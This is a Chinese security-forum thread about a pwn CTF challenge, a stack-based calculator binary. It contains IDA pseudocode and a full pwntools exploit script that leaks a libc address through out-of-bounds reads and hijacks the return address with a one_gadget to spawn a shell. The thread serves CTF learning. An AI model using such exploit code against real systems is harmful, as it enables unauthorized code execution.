首页
社区
课程
招聘
未解决 求大佬的一道pwn题解析 10雪币
发表于: 2024-10-4 09:49 3501

未解决 求大佬的一道pwn题解析 10雪币

2024-10-4 09:49
3501

这道题好像是很久以前国外的一个比赛题,但不清楚出处,求大佬能帮我看看这道题的具体思路


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
  • c1 (11.06kb,8次下载)
收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 7065
活跃值: (6626)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
2
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int stack[32]; // [esp+1Ch] [ebp-8Ch] BYREF
  int v5; // [esp+9Ch] [ebp-Ch]

  v5 = 0x7A69;
  memset(stack, 0, sizeof(stack));
  puts(
    "Calculator.\n"
    "Enter a value or an operation followed by a newline.\n"
    "Supported operations:\n"
    "+: Pops two values, adds them and pushes the result\n"
    "-: Pops two values, subtracts the second popped with the first, pushes result\n"
    "m: Copies the value on top of the stack to a temporary memory\n"
    "w: Pushes the value from the temporary memory on top of the stack\n"
    "p: Prints the top of the stack\n"
    "n: Pops the the stack and prints the value\n"
    ".: Pops the stack and ignores the value\n"
    "q: Exits\n");
  fflush(stdout);
  fflush(stdout);
  unicorns(stack);
  return v5;
}  这就是一个LINUX下的ELF文件,用IDA直接就可以反汇编,F5直接就出伪代码了
2024-10-6 22:21
0
雪    币: 15661
活跃值: (18963)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
3
gamehack int __cdecl main(int argc, const char **argv, const char **envp) { int stack[32]; // [esp+1Ch] [ ...
上面说了这是个pwn题,不是逆向题
2024-10-7 10:38
0
雪    币: 212
活跃值: (1634)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4

我又来了,这道题最后在我学习vmpwn时把他解决了,里面就是在越界后无法直接push数据,但是可以push_mem,而且要找个近的libc地址泄露,太远了就会破坏栈结构(别问,因为我就这样过)。

他的符号表是保留的,所以我就不分析了,直接上exp,用ogg劫持返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.arch='i386'
context.log_level='debug'
p=process("./c1-vm")
libc = ELF("./libc-2.23.so")
p.recvuntil("q: Exits\n\n")
 
bin_sh_offset = 0x15ba3f
 
#ret_offset = 0x202cb
gdb.attach(p,'b*0x8048784')
pause()
p.sendline(str(0x10))
p.sendline("m")
for i in range(19):
    p.sendline("n")
    p.recvuntil(b"Value: ")
 
print("leak libc addr")
p.sendline("p")
p.recvuntil(b"Value: ")
leak_old = int(p.recvuntil("\n")[:-1],10)
leak = leak_old + 2**32
success("leak libc addr: "+hex(leak))
libc_base = leak - 0x1c7970
success("libc base: "+hex(libc_base))
system = libc_base + libc.sym["system"]
bin_sh = libc_base + bin_sh_offset
ogg = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x5faa5,0x5faa6]
#ret = libc_base + ret_offset
p.sendline("w")
print("push system addr in mini stack")
p.sendline(str(libc_base+ogg[0]-2**32))
p.sendline("m")
for i in range(27):
    p.sendline(".")
print("fu zhi ogg"+hex(libc_base+ogg[0]))
p.sendline("w")
pause()
p.sendline("q")
p.interactive()

对了,libc版本用的2.23-0_3,放下面了,我记得这是17年maplectf的题

上传的附件:
2024-12-20 11:10
0
游客
登录 | 注册 方可回帖
返回